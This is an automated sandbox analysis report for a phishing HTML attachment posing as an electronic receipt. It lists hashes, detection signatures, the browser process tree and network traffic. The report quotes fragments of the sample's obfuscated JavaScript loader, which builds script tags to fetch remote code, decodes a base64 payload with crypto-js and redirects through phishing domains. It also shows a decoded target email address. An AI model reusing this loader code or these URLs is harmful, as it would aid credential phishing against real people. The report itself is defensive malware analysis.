Edit tour

Windows Analysis Report
Electronic_Receipt_ATT0001.htm

Overview

General Information

Sample name:	Electronic_Receipt_ATT0001.htm
Analysis ID:	1522865
MD5:	b1de484f37a8c1e01bf73e7715497d90
SHA1:	69896e52b0f5f24a1b9c92925d5ada7e300e3f18
SHA256:	937fd7b138665e64f179bb91b9ec4bf3622d7963bb79f925bea3ef0a4650c792
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

Detected javascript redirector / loader

HTML document with suspicious name

Connects to many different domains

Connects to several IPs in different countries

Detected non-DNS traffic on DNS port

Executes massive DNS lookups (> 100)

HTML body with high number of embedded SVGs detected

HTML page contains hidden javascript code

HTML page contains string obfuscation

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Electronic_Receipt_ATT0001.htm" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2216,i,962291635718744552,10165825185328870103,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 732 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5540 --field-trial-handle=2216,i,962291635718744552,10165825185328870103,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Detected javascript redirector / loader

Source: Electronic_Receipt_ATT0001.htm

HTTP Parser: Low number of body elements: 0

Source: https://finance.yahoo.com/sectors/basic-materials/

HTTP Parser: Total embedded SVG size: 130835

Source: Electronic_Receipt_ATT0001.htm

HTTP Parser: Base64 decoded: tsalcido@stinsons.com

Source: file:///C:/Users/user/Desktop/Electronic_Receipt_ATT0001.htm

HTTP Parser: Found new string: script .yak = `#dHNhbGNpZG9Ac3RpbnNvbnMuY29t`;.giraffe = ['w','ri','te'].join('') /* peacock */; .robin = ['<s','cri','pt s', /* hippo */'rc='].join(''); ..nutcracker=["htt", /* jackfruit */ "ps://","lipsoft",`inc`,'.in/re',"s444",`.ph`,`p?2-687`,'474707', /* date */ . /* <i hidden> The child learned to ride a bike. <i> */ .'33a2',`f2f6872`, /* fennec */ `65662e`, /* barracuda */ . /* <strong> The gardener harvested fresh vegetables from the garden. <strong> */ .`6c692f`, /* oriole */ . /* <h5> She designed a new logo for the company. <h5> */ .`3f6`, /* jaguar */ `87474707`,'33a2f2', /* lotus */ 'f48466',"a2e726","f6e",`746`, /* kelp */ "973",`68`, /* vulture */ . /* <i hidden> The cat purred contentedly in her lap. <i> */ ."6574", /* tapir */ . /* <b> The children went on a school field trip. <b> */ .`2e72752f`,`69`, /* kudu */ . /* <nav hidden> The chef experimented with new flavors in the kitche...

Source: https://lipsoftinc.in/res444.php?2-68747470733a2f2f687265662e6c692f3f68747470733a2f2f48466a2e726f6e7469736865742e72752f694361577a6a36512f-yak

HTTP Parser: var didvmdtgabbkysov = document.createelement("script");didvmdtgabbkysov.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(didvmdtgabbkysov);didvmdtgabbkysov.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoidulgvtdws0drrxrku1h6xc9lnndyvfb5nxhqq1lywfjveec3q3zwbkzyzfveyuzkalvywllmy1vqq0jvk2dkzwlyqljpvxn6vlo4n2fuakrxnmzcl1vgnupkqndpzepqd2rwz1ldttbybhhxuzjivnnicmvwa2nqwglqyw9vwtrhmjk5sk00a0s1ahhaoxjpmlwvdmzwbys3y2jkvg1wmwswckl1bwremwq4u01sau9wrvhuzedxb0ldmuhxk1hiukixdtnzshpzrgnvwdjmbfjavklrserloct3u01czm1tb1jzdfhzn0o0t0dmyuo5sjjmdlbkc05hmm91dnbwaezsvnlrz0fsnnnpb1jivmy4a3ywoxi1ajrpr25tsjnrs0tzd1wvs3dmyzvgbddrclwvt0zznddcl0vonmhobmd5dctwmwjfblzbuvpdq1wvehlpm1cyavfsk1wvsfnjzlwvzjbmeedttfvoewl6vlzosfvmbljfvmludvhwrfa0ae1mbxvta1plb0rclzh4uwtjtkr3mepruhhdbk1ybmncq2tik2ranwlssvlov1vgugvkztdkttz0k3hjugvyynmyvndqz09cl0rrdw5avvn0bupjmthrznzon0lpwdfxnwhpahh0d3dpk0xvnzdrt3fkce80bfwvymrmmhjcl0pevuzcl3m3aetyrfwvv1wvcfwvv0rgaehdqnbdsulpztbhof...

Source: https://hfj.rontishet.ru/iCaWzj6Q/#C#dHNhbGNpZG9Ac3RpbnNvbnMuY29t	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://www.yahoo.com/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon
Source: https://finance.yahoo.com/sectors/basic-materials/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.228.174.117:443 -> 192.168.2.4:51942 version: TLS 1.2

Source: unknown

Network traffic detected: DNS query count 221

Source: unknown

Network traffic detected: IP country count 10

Source: global traffic	TCP traffic: 192.168.2.4:50042 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:50393 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:50495 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:52105 -> 1.1.1.1:53

Source: global traffic

DNS traffic detected: number of DNS queries: 221

Source: Joe Sandbox View	IP Address: 199.232.211.52 199.232.211.52
Source: Joe Sandbox View	IP Address: 3.160.150.30 3.160.150.30
Source: Joe Sandbox View	IP Address: 99.80.51.253 99.80.51.253
Source: Joe Sandbox View	IP Address: 212.82.100.137 212.82.100.137

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 23.43.61.160
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 87.248.204.0
Source: unknown	TCP traffic detected without corresponding DNS query: 87.248.204.0
Source: unknown	TCP traffic detected without corresponding DNS query: 87.248.204.0
Source: unknown	TCP traffic detected without corresponding DNS query: 87.248.204.0
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86

Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f687265662e6c692f3f68747470733a2f2f48466a2e726f6e7469736865742e72752f694361577a6a36512f-yak HTTP/1.1Host: lipsoftinc.inConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f687265662e6c692f3f68747470733a2f2f48466a2e726f6e7469736865742e72752f694361577a6a36512f-yak HTTP/1.1Host: lipsoftinc.inConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?https://HFj.rontishet.ru/iCaWzj6Q/ HTTP/1.1Host: href.liConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /iCaWzj6Q/ HTTP/1.1Host: hfj.rontishet.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hfj.rontishet.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hfj.rontishet.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hfj.rontishet.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://hfj.rontishet.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://hfj.rontishet.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/ec4b873d446c/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cb5e237ab880f47&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: hfj.rontishet.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hfj.rontishet.ru/iCaWzj6Q/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ik5Raks1QVVvbFZaaTNjUzBLdzQvN3c9PSIsInZhbHVlIjoiem1xeTJBSTJtSkJjTy9jN3k4Z0JBdVdQbjY5Smo5RkptVzhzbkxIR3d4U1lvM25IQjducmt4Sm9aSHJhbmg2WHhMSk00c2NKK1lRdm9PNi9hanpIRVVBT2NORFowbm1GMTdtbklXbm1LdlZxV2Q5dGh1MFRXcXlZOExaU0FNZmIiLCJtYWMiOiI1ODIyZjIxMjc0ZDgwMDcwM2FkMzgwOTc2ZGNmM2I1YmU2NjliMzFmY2Q3NDkxNmU0OTc4NmI4ZmRhNmZlYWRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImsrMXNBNUNEaW1GbytaZE1iOHZDWEE9PSIsInZhbHVlIjoiUGVVUStFU1puM2VIRUpxRDVweFduS3JPaytmR3d0SlpEcmR4MjJFWmdnOGtXRDlFdm52RUg4M3JmTjJwUDZPYXJGWEhCc3F3TnQ0cVcwSU5tcUdlN0lLTWlmTmNCT0QrRkhGZUxYVTR2UGxJdjg0R1NTNUppUTNyMnpQOEpodW4iLCJtYWMiOiIyNjNiNDVlNmVlODI1Yjk4Y2RmMDhjNjNlNTI0Mjk3NjQwNmQ3ZDU5ZGYwMWNkNzQ2NTYxMmNkMWZlYWZmZWNiIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/yzcnc/0x4AAAAAAAj4CaQsDLLGC_TE/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
